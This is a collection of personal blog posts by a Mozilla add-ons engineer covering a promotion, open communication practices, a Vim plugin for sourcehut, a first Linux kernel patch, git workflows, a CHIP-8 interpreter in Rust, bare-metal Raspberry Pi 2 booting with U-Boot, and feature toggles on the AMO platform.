I noticed that all these different projects kinda “forced” me to “move fast”, and too fast actually. It didn’t negatively impact anything (yet) but I’ve definitely been reminded that the answer to my question was in the GitHub issue that I had just read. Hence I am working on taking more time to think… and I’ll also take the opportunity to refine my communication skills.

Last, I am extremely happy at Mozilla and I am super lucky to be part of the amazing Add-ons team. I would like to thank everyone in my team as well as all the folks I worked with so far! I wouldn’t be where I am today without you ❤️

This used to be a link to a tweet from me. I tweeted a screenshot with diff stats, showing a lot of code removed after I removed a lot of code in a project. ↩
This used to be a link to a tweet from me. I tweeted a screenshot with diff stats, showing a lot of changed code after having applied a python code formatter on a large codebase. ↩

Yes, it happened on Slack

2021-04-29T00:00:00+00:00

This is one of those moments worth calling out explicitly.

Yes, it happened on Slack

Here, it refers to a decision, an agreement, or some important results. All of these should NOT have been left on Slack alone. At the very least, the Slack threads or some key messages should have been copied into some more open and permanent places like Bugzilla or GitHub (in public issues).

It won’t come as a surprise; I don’t like Slack (but it wasn’t always like that). There is a reason for that: it is the antithesis of working in the open. What happens in Slack stays in Slack. What stays in Slack is basically lost forever. “Chat apps” aren’t the right tools for decision-making, especially when working with external contributors and distributed teams across the globe.

I understand the need for synchronous communication, but (1) we have Matrix at Mozilla, which is open at least, and (2) we should not use Slack for asynchronous communication. Let’s just use it for quick feedback, instant chats about sensitive topics, GIFs, and emojis on every other message. Jokes aside, it’s easier to restrict some content than to publish private content more broadly.

Working in the open is what makes Firefox and other Mozilla products so special: anyone can contribute. Each individual can find information about a decision on GitHub or Bugzilla. I personally dig into old GitHub issues at least once a week, usually with a question in mind like “why did we do that?”. Back then, everything was either relatively well documented on GitHub/Bugzilla or captured in broadly accessible Google Docs, which makes it possible to answer my question. Nowadays, it’s not uncommon for me to “request access” to some docs I have to read for my own work…

We should continue to use open and accessible platforms to capture not only the decisions but also the “why” (context), and keep them available for the future. Not only will this be useful to us, but it will also allow our contributors to participate even more and feel more “in the loop”.

Note: this article reflects my experience within my team at Mozilla, but the views expressed may be relevant beyond that context.

Introducing srht.vim

2021-03-01T00:00:00+00:00

Sourcehut is a free and open source platform to develop software. It provides different services like git hosting, issue tracking, continuous integration and mailing-lists. This platform also offers secondary services such as a “pastebin-like” tool named paste.sr.ht.

As a long-time and frequent GitHub user, I use two essential vim plugins to collaborate:

vim-fugitive: I use the :GBrowse command to share a code snippet or an entire file, usually during a discussion (in combination with fzf.vim to quickly find what I am looking for).
vim-gist: this plugin allows me to create gists from within vim by typing <esc>:Gi<tab><enter>. I share git diffs, various drafts, notes, etc. I configured this plugin so that it creates a private gist by default and puts the URL into the system’s clipboard. It’s very effective!

When I started to use sourcehut, I couldn’t use :GBrowse anymore and, when I asked for help on IRC once, some folks told me about the paste service (I shared GitHub’s gists as I normally do and I am not sure they liked it). Writing a vim plugin was on my todo-list for a while. I wrote some sort of plugins in the past but nothing really serious.

There we are. I wrote srht.vim, a plugin for interacting with some sourcehut services. This plugin allows to use :GBrowse with sourcehut git repositories when vim-fugitive is installed, and it provides a :SrhtPaste command, similar to vim-gist. The latter is heavily inspired by the work of Yasuhiro Matsumoto, the author of the vim-gist plugin, for two reasons: (1) I am so used to the :Gist command that I wanted a similar “user interface”, i.e. same command arguments and messages, and (2) the author writes excellent vim plugins (I really needed some concrete examples to follow after having read Learn Vimscript the Hard Way).

srht.vim can be installed using any package manager (I think) but I personally use Vim’s built-in package support (see :help packages). Both curl and the webapi-vim plugin are needed, too (it might change in the future).

$ mkdir -p ~/.vim/pack/willdurand/start
$ cd !$
$ git clone https://git.sr.ht/~willdurand/srht.vim
$ vim -u NONE -c "helptags srht.vim/doc" -c q

The current state of this plugin is enough for my needs but the :SrhtPaste command is way less powerful than the :Gist one and the :GBrowse integration might not handle some edge cases very well. Get in touch if you want to use this plugin but it doesn’t work for you right now, though.

Depending on how sourcehut evolves in the future, I’d like to add omni-completion to reference issues in commit messages, which is another feature (from vim-rhubarb) that I use very often!

Let me know if you have ideas to further improve my first vim plugin. Cheers!

I got a promotion!

2021-02-26T00:00:00+00:00

Long story short, I have been promoted to Staff Software Engineer.

Julia Evans explains what a senior engineer’s job is and her blog post describes my role well enough, which is why I won’t go into details here. Instead, I chose to write a more personal “status update”.

First of all, Mozilla has a great [career path for engineers]¹, which doesn’t force folks who like to code to become managers, a very common practice in French companies (and maybe elsewhere, ugh!). It’s such a relief!

Second, this new title won’t change my day to day work right now: I have been promoted because I was already doing some of the job of a staff engineer and I likely proved that I was a good fit for this role. I still have many new things to learn, though, and that’s very exciting!

3615 My Life

I joined Mozilla as a frontend developer. I exclusively worked on the AMO frontend in 2018 and eventually became a major contributor. During this time, I started to maintain some side-projects (eslint config/plugin). After a year, I decided to become more proficient with python so I started to contribute to our main backend/API project. This allowed me to work on much bigger features by myself, and I learned a lot more about add-ons and the AMO platform.

In 2019, my main focus was on hardening the AMO platform, a topic that is unfortunately confidential. This work started as a research-y project because we didn’t really know what we could come up with. I chose to use what I learned during my PhD: I studied the “state of the art”. After that, I built several prototypes and presented the results of my initial work to different people, got feedback, iterated, and eventually proposed a plan to move forward. Some prototypes became “production-ready” and are now running in production while others have been shelved.

During this period, I also started a collaboration between a Machine Learning (ML) team and my own team. We wanted to give ML a try but we didn’t know exactly how. I looked into that on my own first! I wanted to be able to ask good questions and, to me, it was necessary to be more familiar with ML and have an idea of how things should be designed. I played with scikit-learn and Jupyter to have some preliminary results that I shared with the ML team along with a lot of questions to ask. I don’t know if that was the “right” thing to do but it worked and the collaboration is still on-going.

In 2020, I worked on various projects between my parental leave and the rounds of layoffs… I started to contribute to Firefox (more on that later) and I adopted a few more projects that needed some maintenance. I also realized that I could bridge the gap between the AMO and WebExtensions (Firefox) teams, so I tried (and continues) to do that.

I didn’t really have any goal in mind when I joined Mozilla (except not being fired because I was a fraud, maybe). Over time, I started to look into new topics because I needed to learn something new and things in front of me were interesting. I feel lucky to have been assigned to this security topic back in 2019, it had a huge impact on my career because I could show what I was able to do. I chose not to be too specialized because that’s not who I am anyway (I suck at being good at one thing so I try to be average on many things instead). I think that works well.

I wouldn’t be there without my amazing colleagues in the Add-ons team. Thanks to all of you! A special note to my current manager (who hired me too): you were already on my “list” of people who largely influenced my career and therefore my life, and you continue to have an immense positive impact. I’ll be forever grateful, thank-you.

Last but not least, I couldn’t end this section without mentioning my partner. She’s been very supportive and did an amazing job at taking care of our little one while I was at work last year <3

This now sounds like an Oscar speech so let’s talk about something else.

In other news

The Firefox codebase was (and still is) kinda scary to me. This is one of those things where I thought I could never contribute to it. That’s a huge project, with a lot of users (I know what you’re thinking!), and developed by many contributors every day. Thanks to my amazing self-confidence (follow the link if you don’t get the irony), I decided to contribute to Firefox roughly a year ago, and this became my personal development goal for the rest of the year. I landed trivial patches and made all the possible mistakes. I learned a lot with Rob and then Luca.

In Q3 2020, I worked on new AMO statistics for add-on developers, which involved various components² and required some Firefox changes. I was able to land some patches in Firefox in order to support the rest of my work. That was really cool because I worked on ALL the building blocks.

Last month, I got Commit Access Level 3 on Firefox! It’s rewarding because it means I earned the trust of my peers.

I am so happy!

This used to be a link to a tweet from @Gankra_:

i really like that mozilla has an engineer track that just tries to capture the depth/responsibility of the tasks you’re currently tackling, and doesn’t necessarily involve moving on to management roles

[screenshot of a spreadsheet with the Mozilla’s career ladder]

↩
I was working on a project involving some frontend work and a lot of backend changes for AMO. I also had to prototype the ETL queries and implemented a feature to collect data I needed in Firefox. ↩

First patch in the Linux kernel

2021-02-22T00:00:00+00:00

Below is the very first patch that I recently landed in the Linux kernel:

diff --git a/drivers/staging/rtl8192e/rtllib_wx.c b/drivers/staging/rtl8192e/rtllib_wx.c
index aa26b2fd2774..2e486ccb6432 100644
--- a/drivers/staging/rtl8192e/rtllib_wx.c
+++ b/drivers/staging/rtl8192e/rtllib_wx.c
@@ -341,8 +341,6 @@ int rtllib_wx_set_encode(struct rtllib_device *ieee,
 		goto done;
 	}

-
-
 	sec.enabled = 1;
 	sec.flags |= SEC_ENABLED;

If you’re not familiar with the unified format, this patch removed two blank lines in a (random) C file. It took me an hour to write and test it as I double-checked every single command I ran to avoid making silly mistakes. I was kinda terrified but everything went well. Since then, I contributed some more patches to the staging subsystem. Patches fixing stylistic issues are welcomed in this subsystem and it is where newcomers should start.

Gaining confidence

I am proud of my first patch. Let’s be honest, this patch won’t make the kernel safer or anything like that, I only removed two blank lines and it’s just a staging driver (but distributions like Debian include it nonetheless). I wanted to write about it because I think it’s important to be reminded that, no matter our experience, we always have something to learn and we must learn to walk before we can run.

Very few people make outstanding contributions on a new project on Day 1. It takes time to get used to the contribution process, the different tools, the people you work with, etc. This simple patch introduced me to some of the Linux Kernel Mailing-Lists and how to use them. I learned about the staging subsystem and the whole concept of “subsystems”. Last but not least, I understood how patches were merged into the main Linux Kernel repository by following my commit from my local environment to Linus Torvalds’ tree:

I submitted a patch to the DriverDev-Devel mailing-list
after review, the patch landed in the staging-testing branch of Greg Kroah-Hartman’s tree (Greg KH is the maintainer of the staging subsystem)
after testing, the patch was merged into the staging-next branch
Greg KH prepared a (short-lived) tag for Linus and requested a git pull
Linus pulled the tag from Greg KH’s tree
First patch in the Linux Kernel! :)

Email-based `git` workflow

Submitting a first patch to the Linux Kernel is not super complicated but it is different because GitHub introduced a new approach to making Open Source contributions that became extremely popular. This platform enabled many developers, including myself, to work on Open Source projects using Pull/Merge Requests.

The Linux Kernel uses emails and mailing-lists to distribute patches and review code. sourcehut is a platform that leverages this process as well. I like that approach because all the metadata around the source code is open, public and sort of distributed. If GitHub goes down, a team cannot collaborate anymore because they cannot exchange patches or review code, until GitHub comes back. When GitHub removes a repository for some reasons, all the past code reviews and patches (Pull Requests) are lost.

Other Open Source projects like Firefox have [a different workflow]¹ too and it isn’t really easier than emails. That being said, most email clients are not compatible with the email-based git workflow by default, and that’s a huge problem. This workflow requires plaintext emails and, for the Linux Kernel as well as platforms like sourcehut, text should be wrapped at 72 columns and bottom posting should be used. The majority of email clients will be configured with HTML, no wrap (and/or no format=flowed support) and top posting by default, ugh.

Therefore, email clients that run in a terminal (like aerc) are kinda mandatory and I can see how user unfriendly that is. I spend most of my time working in a terminal, yet I do not use such clients. I started to use aerc lately, though. It’s the only way for me to be as efficient as I am with GitHub because aerc allows me to review, test and apply patches with ease. We’ll see how that goes on the long run.

Conclusion

As you can see here, anyone can contribute to the Linux Kernel. For me, it’s a personal achievement that makes me super happy. Then again, I do not think my first contribution has been very useful but it’s something. I’ll continue to land similar patches until I find some more involved problems to solve.

If you think this is stupid, well, not everyone agrees with you ;-)

willdurand> here is an example where I sent a series to cleanup a union and each patch fixes a single field in a struct: link. I realize it’s a lot of very small commits and I am not sure if that’s the right approach.

gregkh> willdurand: that approach was PERFECT! Exactly the correct thing to do, and the best example of “hey, go do it like that patch series” I have seen in a while. Nice job.

If you’d like to contribute too, Kernelnewbies has a lot of information to get started and everyone I interacted with has been very friendly.

This used to be a link to a tweet from me:

A #git workflow for #Gecko development: https://glandium.org/blog/?page_id=3438 // This was very useful last week! I can’t explain why hg is so slow for me.. Anyway, with bugzilla, phabricator, moz-phab, etc. having git means one less new thing to learn.

↩

Rebasing without `git rebase`

2021-02-02T00:00:00+00:00

My git workflow involves creating a lot of short-lived branches (a.k.a. feature branches), switching between them and, sometimes, I need to rebase one of these branches. git rebase is a super useful git command and I recommend everyone to get more familiar with it (take a look at git rebase in depth for instance).

My feature branches usually contain a single commit (of interest) and when there are more commits, my team at $WORK uses the squash and merge button anyway. In other words, I do not care much about the history of a short-lived git branch. Using this approach, executing git rebase is straightforward and there is usually little to no conflict to handle.

That being said, it can be tricky to perform a rebase sometimes (for example, when the main branch has changed a lot after someone ran a code formatter on the entire codebase). Such a situation could also occur when one merges the main branch into the feature branch, resulting in a merge commit like Merge branch 'main' into feature-branch.

Attempting a rebase in these situations will convince a lot of people that git rebase is awful but we can achieve pretty much the same result using a different git command: git merge with the --squash option. Here is how I proceed to rebase a branch named feature-branch without git rebase:

make sure the main branch is up to date locally first:
```
 $ git checkout main
 $ git pull origin main
```

“rename” the branch to rebase to feature-branch-2:

 $ git checkout feature-branch
 $ git branch --move feature-branch-2

recreate the branch feature-branch based on the main branch:
```
 $ git checkout main
 $ git checkout -b feature-branch
```
git merge the temporary branch with squash:
```
 $ git merge --squash feature-branch-2
```
Now, commit and force push feature-branch to update the Pull/Merge Request 🎉 The temporary branch can be safely deleted at this point.

That’s it! Note that some of the commands above could be combined to be more efficient but I do not use this procedure a lot so I do not mind.

Bonus: a few years ago I learned about git commit --fixup so I often pass --autosquash to git rebase (and sometimes --autostash too). Take a look at these options if you do not know about them already :)

Introducing chipolata: a CHIP-8 interpreter

2021-01-27T00:00:00+00:00

A few weeks ago, I wrote a CHIP-8 interpreter named chipolata (you can take a look at the online demo here). This article gives a quick tour of this project.

CHIP-8 is a programming language that has been used to write video games on a few different platforms in the 70s-80s. There are tons of interpreters already, and mine isn’t fundamentally different I believe.

Context

One of my personal projects is a GameBoy emulator, which I initially started in order to learn more about emulators, graphics and Rust. This GameBoy project is currently unfinished and not publicly available. The truth is: I wasn’t very happy with some of the architecture decisions I made so I put it on hold. After a year of inactivity, I decided to work on a similar but a lot simpler project in order to (hopefully) solve some of my design issues and finish the emulator. The chipolata project was born.

I wrote chipolata in Rust (a programming language I don’t practice enough) and it is split into three components:

a core library that contains the actual interpreter
a cross-platform “desktop” application
a web application powered by a WebAssembly module

The next three sections will give more information about each of these components.

Core library

The core library parses the content of a ROM file, which contains operation codes (“opcodes”). CHIP-8 has 35 opcodes only but implementing all of them still takes time. I used a test ROM to verify my implementation and I ported a tiny debugger that I wrote for the GameBoy emulator in order to double-check a few other things. Writing a debugger early in the process is always a good idea and it is useful even when the set of opcodes is relatively small.

An Interpreter struct, which is a facade, exposes everything required to implement a “frontend” program. It’s worth pointing out that the interpreter does not handle the main loop. Indeed, I decided to leave this part to the frontend side because I found it easier to make graphical output, sound and user input work together with the interpreter when the frontend also controls the main loop.

The first frontend I implemented was the cross-platform desktop application.

Desktop application

This is a separate program that relies on the core library and adds a graphical output thanks to minifb as well as audio support via rodio. The screenshot below shows the display on the left side and a terminal running the built-in debugger on the right side:

At this point, I could play different games and everything was working as I expected so I decided to try something new.

Web application

I created WebAssembly (WASM) “bindings” to expose the core library as a WASM module, which could then be used in a web application. I am not super familiar with WASM so this part took me a while to understand what was possible.

A new JsInterpreter struct decorates the core Interpreter one and contains the configuration needed to compile a WASM module. I used wasm-pack to build the final npm package and I recommend this tool!

The web application allows users to play Space Invaders written by David Winter. I didn’t want to add other games because there are enough CHIP-8 interpreters online. Instead, I decided to implement different features such as a live view of the CPU registers and a disassembler.

The disassembler implementation is pretty naive, though. It reads the entire RAM starting at the start address (0x200) and, for each opcode, it prints a mnemonic (from this list). This disassembler does not handle odd addresses (which are possible because the specification allows unaligned instructions) and it does not make the distinction between code and data sections. I think a recursive traversal approach would be much better.

This project was also a good opportunity to become more familiar with the Web Audio API. CHIP-8 only needs a single “beep” sound. I implemented it using a 400Hz sine wave. Pretty cool what we can do in a browser these days!

What’s next?

First of all, I am pretty happy with the current state of this project.

I have some ideas for another rainy week-end without kids, though. For instance, I would like to find a way to move the debugger to the core library in order to implement it in the web application. The disassembler could also be rewritten in Rust and become a core feature.

In the back of my mind, being able to run this interpreter on ArvernOS would be a great achievement. I haven’t looked in details yet but I think it’s doable ;-)

Links

Here is a list of useful links I read while working on this project:

Bare-metal Raspberry Pi 2 programming

2021-01-23T00:00:00+00:00

Last week-end, I started to play with ArvernOS (my very own 64-bit kernel) and one of the Raspberry Pi 2 I had in a drawer (32-bit architecture unfortunately but that’s a story for another time).

After a few hours, I was able to run ArvernOS with most features disabled on real hardware (getting it to run in QEMU was surprisingly straightforward). In the following, I’ll explain the boot sequence of a Raspberry Pi 2 and show how it works using an example.

Boot sequence

When we power on a Raspberry Pi 2, the CPU is not yet active, only the GPU (VPU) is. The boot sequence is a multi-stage sequence that loads and executes different programs sequentially. The GPU starts by executing the first stage bootloader stored on the board (in ROM) which, among other things, will attempt to read the SD card and load the second stage bootloader named bootcode.bin. The code contained in bootcode.bin will load the main (GPU) firmware named start.elf as well as another file named fixup.dat, both located on the SD card. The latter is used to configure the SDRAM depending on the hardware. The start.elf file contains the code to display the rainbow splash when we have a screen connected to a Raspberry Pi but its main task is to boot the CPUs and load the kernel code.

Both bootcode.bin and start.elf attempt to read a config.txt file, which is an optional but extremely useful configuration file. For example, we can add uart_2ndstage=1 to this file to get diagnostic information on UART0 (serial port). We can also specify the kernel code we want to run (the default kernel file being kernel7.img on a Raspberry Pi 2).

Quick example with U-Boot

Let’s try to compile and execute U-Boot to understand how things work. U-Boot is a fairly small bootloader used in many embedded devices, and it normally attempts to load an actual Operating System. U-Boot runs a command-line interface on a serial port too so we’re going to leverage this feature and only load U-Boot.

First, we need to download the bootcode.bin, fixup.dat and start.elf files from this repo and put them on the main FAT32 partition of a SD card. These files are provided by the Raspberry Pi Foundation, which means most of the early boot sequence is done for us. I know about this alternative second stage bootloader project but I am not sure why we’d use it to be honest.

$ ls /Volumes/SDCARD/
bootcode.bin*  fixup.dat*  start.elf*

The next step is more interesting. We need something for the start.elf program to complete successfully. In this example, we want to use U-Boot so let’s compile it. I personally used the Docker-based ArvernOS toolchain for that:

$ git clone git://git.denx.de/u-boot.git
$ cd u-boot
$ docker run -it --rm -v $(pwd):/app willos/toolchain make rpi_2_defconfig
$ docker run -it --rm -v $(pwd):/app willos/toolchain make
  [...]

  LD      u-boot
  OBJCOPY u-boot.srec
  OBJCOPY u-boot-nodtb.bin
  SYM     u-boot.sym
  COPY    u-boot.bin

Once finished, we can move the generated u-boot.bin file to the SD card as well. We’re almost there, all we need is to create the config.txt file with the following content on the SD card:

# Output debug information from `bootcode.bin` and `start.elf`
uart_2ndstage=1
# Configure which file should be loaded by `start.elf`
kernel=u-boot.bin

The SD card should now have five files:

$ ls /Volumes/SDCARD/
bootcode.bin*  config.txt*  fixup.dat*  start.elf*  u-boot.bin*

Let’s connect a USB to TTL serial cable (FTDI) between the Raspberry Pi 2 and our main computer. We can now open the serial port (with screen -L /dev/tty.usbserial-A900HHN1 115200 for instance), put the SD card in the Pi and power it on.

After a few seconds, we should see the debug information from the boot sequence first:

Raspberry Pi Bootcode
Read File: config.txt, 34
Read File: start.elf, 2878340 (bytes)
Read File: fixup.dat, 6729 (bytes)
MESS:00:00:00.949118:0: brfs: File read: /mfs/sd/config.txt
MESS:00:00:00.953246:0: brfs: File read: 34 bytes
MESS:00:00:00.967599:0: HDMI:EDID error reading EDID block 0 attempt 0
[...]
MESS:00:00:01.029675:0: HDMI:EDID giving up on reading EDID block 0
MESS:00:00:01.034965:0: HDMI:EDID error reading EDID block 0 attempt 0
[...]
MESS:00:00:01.098164:0: HDMI:EDID giving up on reading EDID block 0
MESS:00:00:01.115837:0: brfs: File read: /mfs/sd/config.txt
MESS:00:00:01.119959:0: gpioman: gpioman_get_pin_num: pin LEDS_PWR_OK not defined
MESS:00:00:01.136991:0: gpioman: gpioman_get_pin_num: pin WL_LPO_CLK not defined
MESS:00:00:01.142693:0: gpioman: gpioman_get_pin_num: pin BT_ON not defined
MESS:00:00:01.149373:0: gpioman: gpioman_get_pin_num: pin WL_ON not defined
MESS:00:00:01.330719:0: gpioman: gpioman_get_pin_num: pin DISPLAY_DSI_PORT not defined
MESS:00:00:01.338144:0: gpioman: gpioman_get_pin_num: pin LEDS_PWR_OK not defined
MESS:00:00:01.344167:0: *** Restart logging
MESS:00:00:01.348055:0: brfs: File read: 34 bytes
MESS:00:00:01.352881:0: hdmi: HDMI:EDID error reading EDID block 0 attempt 0
[...]
MESS:00:00:01.421187:0: hdmi: HDMI:EDID giving up on reading EDID block 0
MESS:00:00:01.426996:0: hdmi: HDMI:EDID error reading EDID block 0 attempt 0
[...]
MESS:00:00:01.495406:0: hdmi: HDMI:EDID giving up on reading EDID block 0
MESS:00:00:01.500937:0: hdmi: HDMI:hdmi_get_state is deprecated, use hdmi_get_display_state instead
MESS:00:00:01.509687:0: hdmi: HDMI:hdmi_get_state is deprecated, use hdmi_get_display_state instead
MESS:00:00:01.519522:0: Failed to open command line file 'cmdline.txt'
MESS:00:00:01.555553:0: brfs: File read: /mfs/sd/u-boot.bin
MESS:00:00:01.559432:0: Loading 'u-boot.bin' to 0x8000 size 0x76ea4
MESS:00:00:01.569756:0: No kernel trailer - assuming DT-capable
MESS:00:00:01.574005:0: brfs: File read: 487076 bytes
MESS:00:00:01.578852:0: Failed to load Device Tree file '?'
MESS:00:00:01.584503:0: gpioman: gpioman_get_pin_num: pin EMMC_ENABLE not defined
MESS:00:00:01.592129:0: uart: Set PL011 baud rate to 103448.300000 Hz
MESS:00:00:01.598961:0: uart: Baud rate change done...
MESS:00:00:01.602394:0: uart: Baud rate change done...
MESS:00:00:01.608047:0: gpioman: gpioman_get_pin_num: pin SDCARD_CONTROL_POWER not defined

I did not have a monitor connected when I ran this example so there were a few HDMI related errors. Near the end, we can read the following lines:

MESS:00:00:01.555553:0: brfs: File read: /mfs/sd/u-boot.bin
MESS:00:00:01.559432:0: Loading 'u-boot.bin' to 0x8000 size 0x76ea4

Shortly after U-Boot should write to the serial port too and we can enter the built-in shell by pressing a key:

U-Boot 2021.01-00688-g184aa65041 (Jan 23 2021 - 10:56:09 +0000)

DRAM:  948 MiB
RPI 2 Model B (0xa01041)
MMC:   mmc@7e202000: 0
Loading Environment from FAT... *** Warning - bad CRC, using default environment

In:    serial
Out:   vidconsole
Err:   vidconsole
Net:   No ethernet found.
starting USB...
Bus usb@7e980000: USB DWC2
scanning bus usb@7e980000 for devices... 3 USB Device(s) found
       scanning usb for storage devices... 0 Storage Device(s) found
Hit any key to stop autoboot:  1
U-Boot>

Sweet!

From there, we can print the U-Boot version:

U-Boot> version
U-Boot 2021.01-00688-g184aa65041 (Jan 23 2021 - 10:56:09 +0000)

arm-none-eabi-gcc (GNU Arm Embedded Toolchain 10-2020-q4-major) 10.2.1 20201103 (release)
GNU ld (GNU Arm Embedded Toolchain 10-2020-q4-major) 2.35.1.20201028

Last but not least, the board has two built-in LEDs (power and activity) and we definitely need to blink LEDs ;-) We can toggle the activity LED with the following U-Boot command (GPIO 47 controls the activity LED):

U-Boot> gpio toggle 47
gpio: pin 47 (gpio 47) value is 1
U-Boot> gpio toggle 47
gpio: pin 47 (gpio 47) value is 0

Loading our own code

u-boot.bin contains the code to run on the Raspberry Pi 2 and we can replace this file with our own code if we want too. There are two important pieces of information:

start.elf will load and execute the code at 0x8000 by default (we usually configure this base address during the linking phase).
when control is transferred to the “user” code, the CPU is in HYP mode (Hypervisor) and depending on our needs, we may want to switch back to SVC mode (Supervisor).

We can write a few lines of assembly and a bit of C to blink LEDs. I created a Gist with all the files necessary to build a minimal bare metal program that blinks the activity LED indefinitely. Once compiled, we can transfer kernel7.img to the SD card and update the config.txt file to point to kernel7.img instead of u-boot.bin (or remove the line since it is the default value).

“Stage 3” bootloader

Many projects have their own bootloader to transfer programs using a serial cable and avoid the annoying SD card dance. Such “stage 3” bootloaders are quite simple.

First, a bootloader relocates itself to a higher address in RAM. This is required to be able to load the actual kernel code later. Then, it initializes a serial port (UART0 or UART1 on the Raspberry Pi), send a special sequence and wait for a reply. This special sequence should be received by a program running on the other computer, which should push the new code to the bootloader. Once downloaded and stored in memory, the bootloader should call the new code.

This is what I have implemented too. Sneak peek:

I spent too much time on the "pusher" UI part, I think 😅

Feature flags in real life

2020-09-22T00:00:00+00:00

Many folks are familiar with the concept of feature toggles (also known as feature flags) but they do not necessarily use them because <insert reason here>. This is a very powerful technique that allows teams to ship new features and/or experiments in a controlled way. My team uses different flavors of feature toggles on the AMO platform, and that is what I am going to describe in this article.

Backend toggles

The AMO server-side is mainly powered by a Django application and we are using Waffle to implement the different feature toggles. Waffle has three types of feature flippers: flags, switches and samples, depending on the needs. I am not very familiar with the last one, which seems to be a better packaged version of rand(), so I’ll only introduce the first two flippers.

Flags

Flags are probably what most people have in mind when thinking about feature toggles. They are convenient to roll out features according to various conditions, like specific users or percentage of traffic.

My team uses flags to progressively enable new features in production. This can be useful when the feature can only be fully tested in production, e.g., because it is not possible to set up a realistic (enough) environment or it has privacy implications. Flags can certainly be used for other purposes but I am mainly familiar with these ones.

This is how I shipped the new usage statistics on AMO to end users earlier this year for instance. That was handy to iterate quickly and give early access to Quality Assurance (QA) folks, Project/Product Managers (PMs), and key users (in this case, developers of very popular add-ons to measure the performance impacts). Later, we updated the flag configuration to perform a rollout (25/50/75/100%). During this rollout, users got access to a “beta mode” (the new feature I was working on) in addition to the legacy feature but it does not have to be this way.

It is also possible to use a toggle to change a feature entirely for everyone, and that is the strategy I used for the download stats on AMO lately. This is useful to preview a feature without risking a production incident!

Switches

Being able to turn a feature on and off for everyone in production can also be achieved by a switch. Switches cannot target specific users or things like that, but it is what we use the most on AMO.

For example, we have switches that act as emergency switches to quickly react to potential outages in production. Our kinda monolithic server-side application talks to some smaller services and if one of them goes crazy, we can quickly shunt it so that it does not take the entire platform down.

We also use switches to change parts of our application that run in the background like cron jobs or asynchronous tasks. In the case of the new AMO statistics, I used switches to change the data source of the tasks that compute particular values (e.g., average daily users, etc.). After having tested the new behavior in our non-production environments, we turned the switches on in production at a given time and we monitored the first executions.

Similar to flags, switches are great to ship big features incrementally and allow long periods of tests in non-production environments. That way, we can detect and fix most issues early, preventing disasters when we go “live”.

Frontend toggles

We do not have the exact same concept in our main frontend application, but we do have some sort of client-side feature toggles. We came up with a convention to implement switches on top of node-config and our very own client-side implementation for it. We use frontend switches quite often so that QA can verify the changes before they are deployed in production. In addition to that, we can start conversations with PMs and User eXperience (UX) people while we are implementing the changes.

Our feature flipper implementation may appear naive, it works great for us. We shipped new pages, homepage redesigns, and other minor features behind such switches. That being said, this approach is not as flexible as its server equivalent because it requires a deployment to update the values of the switches.

How do we test our code?

Django Waffle stores its configuration in the database and provides helper functions to create flags or switches in a test case. We usually write similar tests with the feature toggle enabled and disabled.

Most of our frontend code is written with React. We use a pattern that consists in passing a _config prop whose default value is the actual node config and we override it in the test case with a fake config object. That way, we can unit test all possible conditions:

import config from 'config';

function Welcome({ _config = config } = {}) {
  return (
    <h1>Hello, {_config.get('enableFeatureXYZ') ? 'XYZ' : 'World'}</h1>
  );
}

// test file
it('renders Hello, World when the XYZ feature is disabled', () => {
  const _config = getFakeConfig({ enableFeatureXYZ: false });
  expect(renderWelcome({ _config })).toHaveText('Hello, World');
});

it('renders Hello, XYZ when the XYZ feature is enabled', () => {
  const _config = getFakeConfig({ enableFeatureXYZ: true });
  expect(renderWelcome({ _config })).toHaveText('Hello, XYZ');
});

When adding a new behavior behind a toggle to an existing feature, we usually update the test suite to work as before and we add new test cases for the new behavior. This often implies the addition of very similar test cases but it is not so bad as we always plan to delete some code later on.

A note on code quality

Every time we introduce a Waffle flag, a switch or a frontend toggle, we file a GitHub issue to clean up the code once there is no need for it anymore. If the author forgets about it, this is usually raised during the code review. This is how we mitigate the risk of having spaghetti code. Some toggles (like emergency switches) are more permanent, though.

In the server codebase, we delete the Waffle flag or switch using a database migration, then we remove the old code (including the toggle) and we update the test suite accordingly.

Bonus: amo-info

I created a Firefox extension called “amo-info” to display various information about the public-facing part of the AMO platform. Among other things, this extension shows the configuration of our frontend toggles to quickly see which features are enabled/disabled in our different environments:

That’s it for today :-) Are you using feature toggles too? I’d be interested in knowing how you manage them and what you do differently than us. Don’t hesitate to get in touch!

Moziversary #2

2020-05-01T00:00:00+00:00

Today is my second Moziversary. I joined Mozilla as a full-time employee on May 1st, 2018, not too long after contracting with them via my previous company.

I am part of the Firefox Add-ons team and I work on AMO, which is much more than “just a website”. I spent 2019 working on the server stack as well as creating and deploying new security tools to cope with malicious activities. Everyone seems happy with my work, I received positive feedback from my peers and manager and I even “over-performed” last year. In 2020, I started to work on the Firefox codebase and that’s exciting!

Now, if I ask you to name the first thing about your current employer when you think about it, what would it be? For me, and that might sound dumb but it is the truth, my first thought is “Mozilla Firefox”, that piece of software I installed on every computer I could when I was 16-17 years old because “it was much faster than Internet Explorer” and… free. That was in the early 2000s.

My father was working for the main telecommunications company in France back then. Once my parents could afford a personal computer at home in the late 1990s (an IBM Aptiva <3), we were able to get 56k Internet, then 128k (ISDN) and later DSL. That’s how I met the Internet but it took me a few more years and bad grades in high school to grow an interest in computers.

I never imagined that I could work for a company whose icon was sitting on the Windows 98 Desktop of my parents’ computer one day. And yet, here I am, and that’s why Mozilla is and will always be special to me. It’s an immense part of my teenager memories, it reminds me where I come from (including my privilege).

Contrary to many of my colleagues, I wasn’t a volunteer before joining Mozilla and I knew little to nothing about Mozilla Corporation. I was following some of the Mozilla Foundation initiatives but I wasn’t a Mozillian. I fixed that since then ;-)

I am grateful to my current manager (who hired me) as well as all my colleagues in the Add-ons team and beyond. They are all amazing folks! I learned tons of things about everything, including myself, and these two years have been absolutely fantastic. Thanks y’all!

Suggested changes in code reviews

2020-01-27T00:00:00+00:00

I recently wrote that I wanted to blog more often and share how I work. Today’s article is about suggestions in code reviews.

A little more than a year ago, GitHub introduced a button to suggest changes when reviewing Pull Requests. It’s a neat but somewhat limited feature. I only use this button as a replacement for (rather confusing) comments like s/typo/fix/ (which means: “please replace ‘typo’ with ‘fix’”). The GitHub feature does not work well when I want to suggest a larger change (that could be spread across multiple files).

About 95% of my code reviews involves checking out the patch proposed in the Pull Request locally. There are many reasons for doing this but I usually make sure a bug fix actually fixes the issue, test the new feature or try to break things (before QA). In some cases, the proposed approach does not seem optimal and I want to see if I can make some improvements. Sometimes, the patch is a “Work in Progress” (WIP) and their author asks for help.

I use hub on top of git so that I can git checkout a Pull Request using its URL (as shown below). hub has many more features and it’s a gem!

$ git checkout https://github.com/user/repo/pull/123

